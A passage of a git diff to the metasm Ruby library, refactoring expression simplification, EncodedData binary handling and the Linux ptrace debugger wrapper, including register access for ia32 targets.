r].reduce_rec + else + Expression[l, :&, r] + end + when :| + # rol/ror composition + reduce_rec_composerol l, r + else + Expression[l, :&, r] + end end end @@ -766,14 +813,14 @@ class Expression < ExpressionType m = Expression[['var', :sh_op, 'amt'], :|, ['var', :inv_sh_op, 'inv_amt']] if vars = e.match(m, 'var', :sh_op, 'amt', :inv_sh_op, 'inv_amt') and vars[:sh_op] == {:>> => :<<, :<< => :>>}[vars[:inv_sh_op]] and ((vars['amt'].kind_of?(::Integer) and vars['inv_amt'].kind_of?(::Integer) and ampl = vars['amt'] + vars['inv_amt']) or - (vars['amt'].kind_of? Expression and vars['amt'].op == :% and vars['amt'].rexpr.kind_of? ::Integer and + (vars['amt'].kind_of? Expression and vars['amt'].op == :% and vars['amt'].rexpr.kind_of?(::Integer) and vars['inv_amt'].kind_of? Expression and vars['inv_amt'].op == :% and vars['amt'].rexpr == vars['inv_amt'].rexpr and ampl = vars['amt'].rexpr)) and mask == (1<> => :<<, :<< => :>>}[ivars[:inv_sh_op]] and ((ivars['amt'].kind_of?(::Integer) and ivars['inv_amt'].kind_of?(::Integer) and ampl = ivars['amt'] + ivars['inv_amt']) or - (ivars['amt'].kind_of? Expression and ivars['amt'].op == :% and ivars['amt'].rexpr.kind_of? ::Integer and + (ivars['amt'].kind_of? Expression and ivars['amt'].op == :% and ivars['amt'].rexpr.kind_of?(::Integer) and ivars['inv_amt'].kind_of? Expression and ivars['inv_amt'].op == :% and ivars['amt'].rexpr == ivars['inv_amt'].rexpr and ampl = ivars['amt'].rexpr)) if ivars[:sh_op] != vars[:sh_op] # ensure the rotations are the same orientation @@ -788,6 +835,48 @@ class Expression < ExpressionType end end + def reduce_op_or(l, r) + if l == 0; r + elsif r == 0; l + elsif l == -1 or r == -1; -1 + elsif l == r; l + elsif l.kind_of? Integer; Expression[r, :|, l].reduce_rec + elsif l.kind_of? Expression and l.op == :| + # (a|b)|c => a|(b|c) + Expression[l.lexpr, :|, [l.rexpr, :|, r]].reduce_rec + elsif l.kind_of? Expression and l.op == :& and r.kind_of? Expression and r.op == :& and l.lexpr == r.lexpr + # (a&b)|(a&c) => a&(b|c) + Expression[l.lexpr, :&, [l.rexpr, :|, r.rexpr]].reduce_rec + end + end + + def reduce_op_times(l, r) + if l == 0 or r == 0; 0 + elsif l == 1; r + elsif r == 1; l + elsif r.kind_of? Integer; Expression[r, :*, l].reduce_rec + elsif r.kind_of? Expression and r.op == :*; Expression[[l, :*, r.lexpr], :*, r.rexpr].reduce_rec + elsif l.kind_of? Integer and r.kind_of? Expression and r.op == :* and r.lexpr.kind_of? Integer; Expression[l*r.lexpr, :*, r.rexpr].reduce_rec # XXX need & regsize.. + elsif l.kind_of? Integer and r.kind_of? Expression and r.op == :+ and r.rexpr.kind_of? Integer; Expression[[l, :*, r.lexpr], :+, l*r.rexpr].reduce_rec + end + end + + def reduce_op_div(l, r) + if r == 0 + elsif r.kind_of? Integer and l.kind_of? Expression and l.op == :+ and l.rexpr.kind_of? Integer and l.rexpr % r == 0 + Expression[[l.lexpr, :/, r], :+, l.rexpr/r].reduce_rec + elsif r.kind_of? Integer and l.kind_of? Expression and l.op == :* and l.lexpr % r == 0 + Expression[l.lexpr/r, :*, l.rexpr].reduce_rec + end + end + + def reduce_op_mod(l, r) + if r.kind_of?(Integer) and r != 0 and (r & (r-1) == 0) + Expression[l, :&, r-1].reduce_rec + end + end + + # a pattern-matching method # Expression[42, :+, 28].match(Expression['any', :+, 28], 'any') => {'any' => 42} # Expression[42, :+, 28].match(Expression['any', :+, 'any'], 'any') => false @@ -816,24 +905,29 @@ class Expression < ExpressionType # returns the array of non-numeric members of the expression # if a variables appears 3 times, it will be present 3 times in the returned array def externals - [@rexpr, @lexpr].inject([]) { |a, e| + a = [] + [@rexpr, @lexpr].each { |e| case e when ExpressionType; a.concat e.externals when nil, ::Numeric; a else a << e end } + a end # returns the externals that appears in the expression, does not walk through other ExpressionType - def expr_externals - [@rexpr, @lexpr].inject([]) { |a, e| + def expr_externals(include_exprs=false) + a = [] + [@rexpr, @lexpr].each { |e| case e - when Expression; a.concat e.expr_externals - when nil, ::Numeric, ExpressionType; a + when Expression; a.concat e.expr_externals(include_exprs) + when nil, ::Numeric; a + when ExpressionType; include_exprs ? a << e : a else a << e end } + a end def inspect @@ -843,6 +937,25 @@ class Expression < ExpressionType Unknown = self[:unknown] end +# An Expression with a custom string representation +# used to show #define constants, struct offsets, func local vars, etc +class ExpressionString < ExpressionType + attr_accessor :expr, :str, :type, :hide_str + def reduce; expr.reduce; end + def reduce_rec; expr.reduce_rec; end + def bind(*a); expr.bind(*a); end + def externals; expr.externals; end + def expr_externals; expr.expr_externals; end + def match_rec(*a); expr.match_rec(*a); end + def initialize(expr, str, type=nil) + @expr = Expression[expr] + @str = str + @type = type + end + def render_str ; [str] ; end + def inspect ; "ExpressionString.new(#{@expr.inspect}, #{str.inspect}, #{type.inspect})" ; end +end + # an EncodedData relocation, specifies a value to patch in class Relocation # the relocation value (an Expression) @@ -855,7 +968,7 @@ class Relocation include Backtrace def initialize(target, type, endianness, backtrace = nil) - raise ArgumentError, "bad args #{[target, type, endianness].inspect}" if not target.kind_of? Expression or not type.kind_of? ::Symbol or not endianness.kind_of? ::Symbol + raise ArgumentError, "bad args #{[target, type, endianness].inspect}" if not target.kind_of? Expression or not type.kind_of?(::Symbol) or not endianness.kind_of?(::Symbol) @target, @type, @endianness, @backtrace = target, type, endianness, backtrace end @@ -890,7 +1003,11 @@ class EncodedData def ptr=(p) @ptr = @export[p] || p end # opts' keys in :reloc, :export, :virtsize, defaults to empty/empty/data.length - def initialize(data = '', opts={}) + def initialize(data='', opts={}) + if data.respond_to?(:force_encoding) and data.encoding.name != 'ASCII-8BIT' and data.length > 0 + puts "Forcing edata.data.encoding = BINARY at", caller if $DEBUG + data = data.dup.force_encoding('binary') + end @data = data @reloc = opts[:reloc] || {} @export = opts[:export] || {} @@ -904,9 +1021,10 @@ class EncodedData if set_inv or not @inv_export[off] @inv_export[off] = label end + label end - def del_export(label, off=@ptr) + def del_export(label, off=@export[label]) @export.delete label if e = @export.index(off) @inv_export[off] = e @@ -942,6 +1060,7 @@ class EncodedData # if numeric, replace the raw data with the encoding of this value (+fill+s preceding data if needed) and remove the reloc # if replace_target is true, the reloc target is replaced with its bound counterpart def fixup_choice(binding, replace_target) + return if binding.empty? @reloc.keys.each { |off| val = @reloc[off].target.bind(binding).reduce if val.kind_of? Integer @@ -973,13 +1092,15 @@ class EncodedData return {} if not key base = (@export[key] == 0 ? key : Expression[key, :-, @export[key]]) end - @export.inject({}) { |binding, (n, o)| binding.update n => Expression.new(:+, o, base) } + binding = {} + @export.each { |n, o| binding.update n => Expression.new(:+, o, base) } + binding end # returns an array of variables that needs to be defined for a complete #fixup # ie the list of externals for all relocations - def reloc_externals - @reloc.values.map { |r| r.target.externals }.flatten.uniq - @export.keys + def reloc_externals(interns = @export.keys) + @reloc.values.map { |r| r.target.externals }.flatten.uniq - interns end # returns the offset where the relocation for target t is to be applied @@ -1008,7 +1129,7 @@ class EncodedData end # concatenation of another +EncodedData+ (or nil/Fixnum/anything supporting String#<<) - def << other + def <<(other) case other when nil when ::Fixnum @@ -1027,8 +1148,8 @@ class EncodedData end @export[k] = v + @virtsize } - other.inv_export.each { |k, v| @inv_export[@virtsize + k] = v } - end + other.inv_export.each { |k, v| @inv_export[@virtsize + k] = v } + end if @data.empty?; @data = other.data.dup elsif not @data.kind_of?(String); @data = @data.to_str << other.data else @data << other.data @@ -1036,6 +1157,10 @@ class EncodedData @virtsize += other.virtsize else fill + if other.respond_to?(:force_encoding) and other.encoding.name != 'ASCII-8BIT' + puts "Forcing edata.data.encoding = BINARY at", caller if $DEBUG + other = other.dup.force_encoding('binary') + end if @data.empty?; @data = other.dup elsif not @data.kind_of?(String); @data = @data.to_str << other else @data << other @@ -1047,7 +1172,7 @@ class EncodedData end # equivalent to dup << other, filters out Integers & nil - def + other + def +(other) raise ArgumentError if not other or other.kind_of?(Integer) dup << other end @@ -1092,7 +1217,7 @@ class EncodedData val = len len = nil end - if not len and from.kind_of? ::Range + if not len and from.kind_of?(::Range) b = from.begin e = from.end b = @export[b] if @export[b] @@ -1104,14 +1229,14 @@ class EncodedData from = b end from = @export[from] || from - raise "invalid offset #{from}" if not from.kind_of? ::Integer + raise "invalid offset #{from}" if not from.kind_of?(::Integer) from = from + @virtsize if from < 0 if not len - val = val.chr if val.kind_of? ::Integer + val = val.chr if val.kind_of?(::Integer) len = val.length end - raise "invalid slice length #{len}" if not len.kind_of? ::Integer or len < 0 + raise "invalid slice length #{len}" if not len.kind_of?(::Integer) or len < 0 if from >= @virtsize len = 0 @@ -1170,24 +1295,24 @@ class EncodedData def pattern_scan(pat, chunksz=nil, margin=nil) chunksz ||= 4*1024*1024 # scan 4MB at a time margin ||= 65536 # add this much bytes at each chunk to find /pat/ over chunk boundaries - pat = Regexp.new(Regexp.escape(pat)) if pat.kind_of? ::String + pat = Regexp.new(Regexp.escape(pat)) if pat.kind_of?(::String) found = [] chunkoff = 0 while chunkoff < @data.length chunk = @data[chunkoff, chunksz+margin].to_str off = 0 - while match_off = (chunk[off..-1] =~ pat) - break if off+match_off >= chunksz # match fully in margin - match_addr = chunkoff + off + match_off + while match = chunk[off..-1].match(pat) + off += match.pre_match.length + m_l = match[0].length + break if off >= chunksz # match fully in margin + match_addr = chunkoff + off found << match_addr if not block_given? or yield(match_addr) - off += match_off + 1 - # XXX +1 or +lastmatch.length ? - # 'aaaabc'.pattern_scan(/a*bc/) will match 5 times here + off += m_l end chunkoff += chunksz end - found + found end end end diff --git a/lib/metasm/metasm/os/gnu_exports.rb b/lib/metasm/metasm/os/gnu_exports.rb index 1796c8b776..1fe2762e02 100644 --- a/lib/metasm/metasm/os/gnu_exports.rb +++ b/lib/metasm/metasm/os/gnu_exports.rb @@ -258,7 +258,7 @@ libruby1.8.so.1.8 ruby_current_node ruby_debug ruby_description ruby_digitmap ruby_dln_librefs ruby_dyna_vars ruby_errinfo ruby_eval_tree ruby_eval_tree_begin ruby_frame ruby_gc_stress ruby_ignorecase ruby_in_compile ruby_in_eval ruby_inplace_mode ruby_nerrs ruby_patchlevel ruby_platform ruby_release_date ruby_safe_level ruby_sandbox_restore ruby_sandbox_save ruby_scope ruby_sourcefile ruby_sourceline ruby_top_cref ruby_top_self ruby_verbose ruby_version ruby_yychar - ruby_yydebug ruby_yylval + ruby_yydebug ruby_yylval rb_float_new_in_heap EOL curlibname = nil data.each_line { |l| diff --git a/lib/metasm/metasm/os/linux.rb b/lib/metasm/metasm/os/linux.rb index 4db7c493c5..240b4ed316 100644 --- a/lib/metasm/metasm/os/linux.rb +++ b/lib/metasm/metasm/os/linux.rb @@ -5,6 +5,7 @@ require 'metasm/os/main' +require 'metasm/debug' module Metasm class PTrace @@ -13,9 +14,11 @@ class PTrace def self.open(target) ptrace = new(target) return ptrace if not block_given? - ret = yield ptrace - ptrace.detach - ret + begin + yield ptrace + ensure + ptrace.detach + end end # calls PTRACE_TRACEME on the current (ruby) process @@ -28,29 +31,49 @@ class PTrace # values for do_attach: # :create => always fork+traceme+exec+wait # :attach => always attach - # false/nil => same as attach, without actually calling PT_ATTACH (usefull if we're already tracing pid) - # anything else: try to attach if pid is numeric (using Integer()), else create - def initialize(target, do_attach=true) - begin - raise ArgumentError if do_attach == :create + # false/nil => same as attach, without actually calling PT_ATTACH (useful when the ruby process is already tracing pid) + # default/anything else: try to attach if pid is numeric, else create + def initialize(target, do_attach=true, &b) + case do_attach + when :create + init_create(target, &b) + when :attach + init_attach(target) + when :dup + raise ArgumentError unless target.kind_of?(PTrace) + @pid = target.pid + tweak_for_pid(@pid, target.tgcpu) # avoid re-parsing /proc/self/exe + when nil, false @pid = Integer(target) tweak_for_pid(@pid) - return if not do_attach - attach - rescue ArgumentError, TypeError - raise if do_attach == :attach or not do_attach - did_exec = true - if not @pid = fork - tweak_for_pid(::Process.pid) - traceme - ::Process.exec(*target) - exit!(0) - end + else + t = begin; Integer(target) + rescue ArgumentError, TypeError + end + t ? init_attach(t) : init_create(target, &b) + end + end + + def init_attach(target) + @pid = Integer(target) + tweak_for_pid(@pid) + attach + wait + puts "Ptrace: attached to #@pid" if $DEBUG + end + + def init_create(target, &b) + if not @pid = ::Process.fork + tweak_for_pid(::Process.pid) + traceme + b.call if b + ::Process.exec(*target) + exit!(0) end wait raise "could not exec #{target}" if $?.exited? - tweak_for_pid(@pid) if did_exec - puts "Ptrace: attached to #@pid" if $DEBUG + tweak_for_pid(@pid) + puts "Ptrace: attached to new #@pid" if $DEBUG end def wait @@ -59,10 +82,14 @@ class PTrace attr_accessor :reg_off, :intsize, :syscallnr, :syscallreg attr_accessor :packint, :packuint, :host_intsize, :host_syscallnr - # setup the variables according to the target - def tweak_for_pid(pid=@pid) + attr_accessor :tgcpu + @@sys_ptrace = {} + + # setup variables according to the target (ptrace interface, syscall nrs, ...) + def tweak_for_pid(pid=@pid, tgcpu=nil) # use these for our syscalls PTRACE - case LinOS.open_process(::Process.pid).cpu.shortname + @@host_csn ||= LinOS.open_process(::Process.pid).cpu.shortname + case @@host_csn when 'ia32' @packint = 'l' @packuint = 'L' @@ -78,9 +105,9 @@ class PTrace else raise 'unsupported architecture' end + @tgcpu = tgcpu || LinOS.open_process(pid).cpu # use these to interpret the child state - tgcpu = LinOS.open_process(pid).cpu - case tgcpu.shortname + case @tgcpu.shortname when 'ia32' @syscallreg = 'ORIG_EAX' @syscallnr = SYSCALLNR_I386 @@ -92,13 +119,53 @@ class PTrace else raise 'unsupported target architecture' end - cp = tgcpu.new_cparser - cp.parse SIGINFO_C - @siginfo = cp.alloc_c_struct('siginfo') - # buffer used in ptrace syscalls @buf = [0].pack(@packint) - @bufptr = str_ptr(@buf) + + @sys_ptrace = @@sys_ptrace[@host_syscallnr['ptrace']] ||= setup_sys_ptrace(@host_syscallnr['ptrace']) + end + + def setup_sys_ptrace(sysnr) + moo = Class.new(DynLdr) + case @@host_csn + when 'ia32' + # XXX compat lin2.4 ? + asm = < 0 off -= decal @@ -146,29 +214,30 @@ class PTrace pokedata(off+i, str[i, @host_intsize]) i += @host_intsize end + true end # linux/ptrace.h COMMAND = { - 'TRACEME' => 0, 'PEEKTEXT' => 1, - 'PEEKDATA' => 2, 'PEEKUSR' => 3, - 'POKETEXT' => 4, 'POKEDATA' => 5, - 'POKEUSR' => 6, 'CONT' => 7, - 'KILL' => 8, 'SINGLESTEP' => 9, - 'ATTACH' => 16, 'DETACH' => 17, - 'SYSCALL' => 24, + :TRACEME => 0, :PEEKTEXT => 1, + :PEEKDATA => 2, :PEEKUSR => 3, + :POKETEXT => 4, :POKEDATA => 5, + :POKEUSR => 6, :CONT => 7, + :KILL => 8, :SINGLESTEP => 9, + :ATTACH => 16, :DETACH => 17, + :SYSCALL => 24, # arch/x86/include/ptrace-abi.h - 'GETREGS' => 12, 'SETREGS' => 13, - 'GETFPREGS' => 14, 'SETFPREGS' => 15, - 'GETFPXREGS' => 18, 'SETFPXREGS' => 19, - 'OLDSETOPTIONS' => 21, 'GET_THREAD_AREA' => 25, - 'SET_THREAD_AREA' => 26, 'ARCH_PRCTL' => 30, - 'SYSEMU' => 31, 'SYSEMU_SINGLESTEP'=> 32, - 'SINGLEBLOCK' => 33, + :GETREGS => 12, :SETREGS => 13, + :GETFPREGS => 14, :SETFPREGS => 15, + :GETFPXREGS => 18, :SETFPXREGS => 19, + :OLDSETOPTIONS => 21, :GET_THREAD_AREA => 25, + :SET_THREAD_AREA => 26, :ARCH_PRCTL => 30, + :SYSEMU => 31, :SYSEMU_SINGLESTEP=> 32, + :SINGLEBLOCK => 33, # 0x4200-0x4300 are reserved for architecture-independent additions. - 'SETOPTIONS' => 0x4200, 'GETEVENTMSG' => 0x4201, - 'GETSIGINFO' => 0x4202, 'SETSIGINFO' => 0x4203 + :SETOPTIONS => 0x4200, :GETEVENTMSG => 0x4201, + :GETSIGINFO => 0x4202, :SETSIGINFO => 0x4203 } OPTIONS = { @@ -176,14 +245,15 @@ class PTrace 'TRACESYSGOOD' => 0x01, 'TRACEFORK' => 0x02, 'TRACEVFORK' => 0x04, 'TRACECLONE' => 0x08, 'TRACEEXEC' => 0x10, 'TRACEVFORKDONE'=> 0x20, - 'TRACEEXIT' => 0x40 + 'TRACEEXIT' => 0x40, 'TRACESECCOMP' => 0x80, } WAIT_EXTENDEDRESULT = { # Wait extended result codes for the above trace options. 'EVENT_FORK' => 1, 'EVENT_VFORK' => 2, 'EVENT_CLONE' => 3, 'EVENT_EXEC' => 4, - 'EVENT_VFORK_DONE' => 5, 'EVENT_EXIT' => 6 + 'EVENT_VFORK_DONE' => 5, 'EVENT_EXIT' => 6, + 'EVENT_SECCOMP' => 7, } WAIT_EXTENDEDRESULT.update WAIT_EXTENDEDRESULT.invert @@ -197,8 +267,8 @@ class PTrace 'EBX' => 0, 'ECX' => 1, 'EDX' => 2, 'ESI' => 3, 'EDI' => 4, 'EBP' => 5, 'EAX' => 6, 'DS' => 7, 'ES' => 8, 'FS' => 9, 'GS' => 10, 'ORIG_EAX' => 11, - 'EIP' => 12, 'CS' => 13, 'EFL' => 14, 'UESP'=> 15, - 'EFLAGS' => 14, 'ESP' => 15, + 'EIP' => 12, 'CS' => 13, 'EFL' => 14, 'UESP'=> 15, + 'EFLAGS' => 14, 'ESP' => 15, 'SS' => 16, # from ptrace.c in kernel source & asm-i386/user.h 'DR0' => 63, 'DR1' => 64, 'DR2' => 65, 'DR3' => 66, @@ -261,10 +331,10 @@ class PTrace mknodat fchownat futimesat fstatat64 unlinkat renameat linkat symlinkat readlinkat fchmodat faccessat pselect6 ppoll unshare set_robust_list get_robust_list splice sync_file_range tee vmsplice move_pages getcpu epoll_pwait utimensat signalfd timerfd eventfd fallocate timerfd_settime - timerfd_gettime signalfd4 eventfd2 epoll_create1 dup3 pipe2 inotify_init1 preadv pwritev + timerfd_gettime signalfd4 eventfd2 epoll_create1 dup3 pipe2 inotify_init1 preadv pwritev rt_tg_sigqueueinfo perf_counter_open].inject({}) { |h, sc| h.update sc => h.length } SYSCALLNR_I386.update SYSCALLNR_I386.invert - + SYSCALLNR_X86_64 = %w[read write open close stat fstat lstat poll lseek mmap mprotect munmap brk rt_sigaction rt_sigprocmask rt_sigreturn ioctl pread64 pwrite64 readv writev access pipe select sched_yield mremap msync mincore madvise shmget shmat shmctl dup dup2 pause nanosleep getitimer alarm @@ -341,7 +411,7 @@ typedef unsigned __int32 __uid_t; typedef uintptr_t sigval_t; typedef long __clock_t; -typedef struct siginfo { +struct siginfo { int si_signo; int si_errno; int si_code; @@ -377,138 +447,162 @@ typedef struct siginfo { long int si_band; /* Band event for SIGPOLL. */ int si_fd; } _sigpoll; + struct { /* SIGSYS under SECCOMP */ + uintptr_t si_calladdr; /* calling insn address */ + int si_syscall; /* triggering syscall nr */ + int si_arch; /* AUDIT_ARCH_* for syscall */ + } _sigsys; }; -} siginfo_t; +}; EOS def sys_ptrace(req, pid, addr, data) - data = str_ptr(data) if data.kind_of?(String) - addr = [addr].pack(@packint).unpack(@packint).first - data = [data].pack(@packint).unpack(@packint).first - Kernel.syscall(@host_syscallnr['ptrace'], req, pid, addr, data) + ret = @sys_ptrace.ptrace(req, pid, addr, data) + if ret < 0 and ret > -256 + raise SystemCallError.new("ptrace #{COMMAND.index(req) || req}", -ret) + end + ret end def traceme - sys_ptrace(COMMAND['TRACEME'], 0, 0, 0) + sys_ptrace(COMMAND[:TRACEME], 0, 0, 0) end def peektext(addr) - sys_ptrace(COMMAND['PEEKTEXT'], @pid, addr, @bufptr) + sys_ptrace(COMMAND[:PEEKTEXT], @pid, addr, @buf) @buf end def peekdata(addr) - sys_ptrace(COMMAND['PEEKDATA'], @pid, addr, @bufptr) + sys_ptrace(COMMAND[:PEEKDATA], @pid, addr, @buf) @buf end def peekusr(addr) - sys_ptrace(COMMAND['PEEKUSR'], @pid, @host_intsize*addr, @bufptr) - bufval & ((1 << ([@host_intsize, @intsize].min*8)) - 1) + sys_ptrace(COMMAND[:PEEKUSR], @pid, @host_intsize*addr, @buf) + @peekmask ||= (1 << ([@host_intsize, @intsize].min*8)) - 1 + bufval & @peekmask end def poketext(addr, data) - sys_ptrace(COMMAND['POKETEXT'], @pid, addr, data.unpack(@packint).first) + sys_ptrace(COMMAND[:POKETEXT], @pid, addr, data.unpack(@packint).first) end def pokedata(addr, data) - sys_ptrace(COMMAND['POKEDATA'], @pid, addr, data.unpack(@packint).first) + sys_ptrace(COMMAND[:POKEDATA], @pid, addr, data.unpack(@packint).first) end def pokeusr(addr, data) - sys_ptrace(COMMAND['POKEUSR'], @pid, @host_intsize*addr, data) + sys_ptrace(COMMAND[:POKEUSR], @pid, @host_intsize*addr, data) end def getregs(buf=nil) + buf = buf.str if buf.respond_to?(:str) # AllocCStruct buf ||= [0].pack('C')*512 - sys_ptrace(COMMAND['GETREGS'], @pid, 0, buf) + sys_ptrace(COMMAND[:GETREGS], @pid, 0, buf) buf end def setregs(buf) - sys_ptrace(COMMAND['SETREGS'], @pid, 0, buf) + buf = buf.str if buf.respond_to?(:str) + sys_ptrace(COMMAND[:SETREGS], @pid, 0, buf) end def getfpregs(buf=nil) + buf = buf.str if buf.respond_to?(:str) buf ||= [0].pack('C')*1024 - sys_ptrace(COMMAND['GETFPREGS'], @pid, 0, buf) + sys_ptrace(COMMAND[:GETFPREGS], @pid, 0, buf) buf end def setfpregs(buf) - sys_ptrace(COMMAND['SETFPREGS'], @pid, 0, buf) + buf = buf.str if buf.respond_to?(:str) + sys_ptrace(COMMAND[:SETFPREGS], @pid, 0, buf) end def getfpxregs(buf=nil) + buf = buf.str if buf.respond_to?(:str) buf ||= [0].pack('C')*512 - sys_ptrace(COMMAND['GETFPXREGS'], @pid, 0, buf) + sys_ptrace(COMMAND[:GETFPXREGS], @pid, 0, buf) buf end def setfpxregs(buf) - sys_ptrace(COMMAND['SETFPXREGS'], @pid, 0, buf) + buf = buf.str if buf.respond_to?(:str) + sys_ptrace(COMMAND[:SETFPXREGS], @pid, 0, buf) end def get_thread_area(addr) - sys_ptrace(COMMAND['GET_THREAD_AREA'], @pid, addr, @bufptr) + sys_ptrace(COMMAND[:GET_THREAD_AREA], @pid, addr, @buf) bufval end def set_thread_area(addr, data) - sys_ptrace(COMMAND['SET_THREAD_AREA'], @pid, addr, data) + sys_ptrace(COMMAND[:SET_THREAD_AREA], @pid, addr, data) end def prctl(addr, data) - sys_ptrace(COMMAND['ARCH_PRCTL'], @pid, addr, data) + sys_ptrace(COMMAND[:ARCH_PRCTL], @pid, addr, data) end - + def cont(sig = nil) sig ||= 0 - sys_ptrace(COMMAND['CONT'], @pid, 0, sig) + sys_ptrace(COMMAND[:CONT], @pid, 0, sig) end def kill - sys_ptrace(COMMAND['KILL'], @pid, 0, 0) + sys_ptrace(COMMAND[:KILL], @pid, 0, 0) end def singlestep(sig = nil) sig ||= 0 - sys_ptrace(COMMAND['SINGLESTEP'], @pid, 0, sig) + sys_ptrace(COMMAND[:SINGLESTEP], @pid, 0, sig) end def singleblock(sig = nil) sig ||= 0 - sys_ptrace(COMMAND['SINGLEBLOCK'], @pid, 0, sig) + sys_ptrace(COMMAND[:SINGLEBLOCK], @pid, 0, sig) end def syscall(sig = nil) sig ||= 0 - sys_ptrace(COMMAND['SYSCALL'], @pid, 0, sig) + sys_ptrace(COMMAND[:SYSCALL], @pid, 0, sig) end def attach - sys_ptrace(COMMAND['ATTACH'], @pid, 0, 0) + sys_ptrace(COMMAND[:ATTACH], @pid, 0, 0) end def detach - sys_ptrace(COMMAND['DETACH'], @pid, 0, 0) + sys_ptrace(COMMAND[:DETACH], @pid, 0, 0) end def setoptions(*opt) opt = opt.inject(0) { |b, o| b |= o.kind_of?(Integer) ? o : OPTIONS[o] } - sys_ptrace(COMMAND['SETOPTIONS'], @pid, 0, opt) + sys_ptrace(COMMAND[:SETOPTIONS], @pid, 0, opt) end # retrieve pid of cld for EVENT_CLONE/FORK, exitcode for EVENT_EXIT def geteventmsg - sys_ptrace(COMMAND['GETEVENTMSG'], @pid, 0, @bufptr) + sys_ptrace(COMMAND[:GETEVENTMSG], @pid, 0, @buf) bufval end - def getsiginfo - sys_ptrace(COMMAND['GETSIGINFO'], @pid, 0, @siginfo.str) - @siginfo + def cp + @cp ||= @tgcpu.new_cparser end - def setsiginfo(si=@siginfo) + def siginfo + @siginfo ||= ( + cp.parse SIGINFO_C if not cp.toplevel.struct['siginfo'] + cp.alloc_c_struct('siginfo') + ) + end + + def getsiginfo + sys_ptrace(COMMAND[:GETSIGINFO], @pid, 0, siginfo.str) + siginfo + end + + def setsiginfo(si=siginfo) si = si.str if si.respond_to?(:str) - sys_ptrace(COMMAND['SETSIGINFO'], @pid, 0, si) + sys_ptrace(COMMAND[:SETSIGINFO], @pid, 0, si) end end @@ -562,7 +656,7 @@ class LinOS < OS # read from /proc/pid/task/ def threads Dir.entries("/proc/#{pid}/task/").grep(/^\d+$/).map { |tid| tid.to_i } - rescue + rescue # TODO handle pthread stuff (eg 2.4 kernels) [pid] end @@ -593,7 +687,7 @@ class LinOS < OS def terminate kill - end + end def kill(signr=9) ::Process.kill(signr, @pid) @@ -641,11 +735,29 @@ class LinuxRemoteString < VirtualString self.class.new(@pid, addr, len, dbg) end - def do_ptrace + def do_ptrace(needproc) if dbg dbg.switch_context(@pid) { - # XXX tid ? - yield dbg.ptrace if dbg.state == :stopped + st = dbg.state + next if st != :stopped + if needproc + # we will try to access /proc/pid/mem + # if the main thread is still running, fallback to ptrace.readmem instead + pst = (dbg.tid == @pid ? st : dbg.tid_stuff[@pid][:state]) + if pst != :stopped + savedreadfd = @readfd + @readfd = nil + begin + yield dbg.ptrace + ensure + @readfd = savedreadfd + end + else + yield dbg.ptrace + end + else + yield dbg.ptrace + end } else PTrace.open(@pid) { |ptrace| yield ptrace } @@ -654,11 +766,12 @@ class LinuxRemoteString < VirtualString def rewrite_at(addr, data) # target must be stopped - do_ptrace { |ptrace| ptrace.writemem(addr, data) } + wr = do_ptrace(false) { |ptrace| ptrace.writemem(addr, data) } + raise "couldn't ptrace_write at #{'%x' % addr}" if not wr end def get_page(addr, len=@pagelength) - do_ptrace { |ptrace| + do_ptrace(true) { |ptrace| begin if readfd and addr < (1<<63) # 1<<63: ruby seek = 'too big to fit longlong', linux read = EINVAL @@ -675,6 +788,305 @@ class LinuxRemoteString < VirtualString end end +class PTraceContext_Ia32 < PTrace + C_STRUCT = < true } + @gpr_peek = @@gpr_peek_ia32 ||= (0..7).inject({}) { |h, i| + h.update "dr#{i}".to_sym => REGS_I386["DR#{i}"] } + @gpr_sub = @@gpr_sub_ia32 ||= gpr_sub_init + @xmm = @@xmm_ia32 ||= [:cwd, :swd, :twd, :fop, :fip, :fcs, :foo, + :fos, :mxcsr].inject({}) { |h, r| h.update r => true } + @cp.parse C_STRUCT if not @cp.toplevel.struct['user_regs_struct_ia32'] + @gpr_st = @xmm_st = nil + end + + # :bh => [:ebx, 0xff, 8] + # XXX similar to Reg.symbolic... DRY + def gpr_sub_init + ret = {} + %w[a b c d].each { |r| + b = "e#{r}x".to_sym + ret["#{r}x".to_sym] = [b, 0xffff] + ret["#{r}l".to_sym] = [b, 0xff] + ret["#{r}h".to_sym] = [b, 0xff, 8] + } + %w[sp bp si di].each { |r| + b = "e#{r}".to_sym + ret[r.to_sym] = [b, 0xffff] + } + ret[:orig_rax] = [:orig_eax, 0xffff_ffff] + ret + end + + def do_getregs + st = cp.alloc_c_struct('user_regs_struct_ia32') + getregs(st) + st + end + + def do_setregs(st=@gpr_st) + setregs(st) + end + + def do_getxmm + st = cp.alloc_c_struct('user_fxsr_struct_ia32') + getfpxregs(st) + st + end + + def do_setxmm(st=@xmm_st) + setfpxregs(st) + end + + def get_reg(r) + r = r.downcase if r == 'ORIG_EAX' or r == 'ORIG_RAX' + rs = r.to_sym + if @gpr[rs] + @gpr_st ||= do_getregs + @gpr_st[rs] + elsif o = @gpr_peek[rs] + peekusr(o) + elsif o = @gpr_sub[rs] + v = get_reg(o[0]) + v >>= o[2] if o[2] + v &= o[1] + elsif @xmm[rs] + @xmm_st ||= do_getxmm + @xmm_st[rs] + else + case r.to_s + when /^st(\d?)$/i + i = $1.to_i + @xmm_st ||= do_getxmm + fu = @xmm_st.st_space + [fu[4*i], fu[4*i+1], fu[4*i+2]].pack('L*').unpack('D').first # XXX + when /^mmx?(\d)$/i + i = $1.to_i + @xmm_st ||= do_getxmm + fu = @xmm_st.st_space + fu[4*i] | (fu[4*i + 1] << 32) + when /^xmm(\d+)$/i + i = $1.to_i + @xmm_st ||= do_getxmm + fu = @xmm_st.xmm_space + fu[4*i] | (fu[4*i + 1] << 32) | (fu[4*i + 2] << 64) | (fu[4*i + 3] << 96) + # TODO when /^ymm(\d+)$/i + else raise "unknown register name #{r}" + end + end + end + + def set_reg(r, v) + r = r.downcase if r == 'ORIG_EAX' or r == 'ORIG_RAX' + rs = r.to_sym + if @gpr[rs] + @gpr_st ||= do_getregs + @gpr_st[rs] = v + do_setregs + elsif o = @gpr_peek[rs] + pokeusr(o, v) + elsif o = @gpr_sub[rs] + vo = get_reg(o[0]) + msk = o[1] + v &= o[1] + if o[2] + msk <<= o[2] + v <<= o[2] + end + v |= vo & ~msk + set_reg(o[0], v) + elsif @xmm[rs] + @xmm_st ||= do_getxmm + @xmm_st[rs] = v + do_setxmm + else + case r.to_s + when /^st(\d?)$/i + i = $1.to_i + @xmm_st ||= do_getxmm + fu = @xmm_st.st_space + fu[4*i], fu[4*i+1], fu[4*i+2] = [v, -1].pack('DL').unpack('L*') # XXX + do_setxmm + when /^mmx?(\d)$/i + i = $1.to_i + @xmm_st 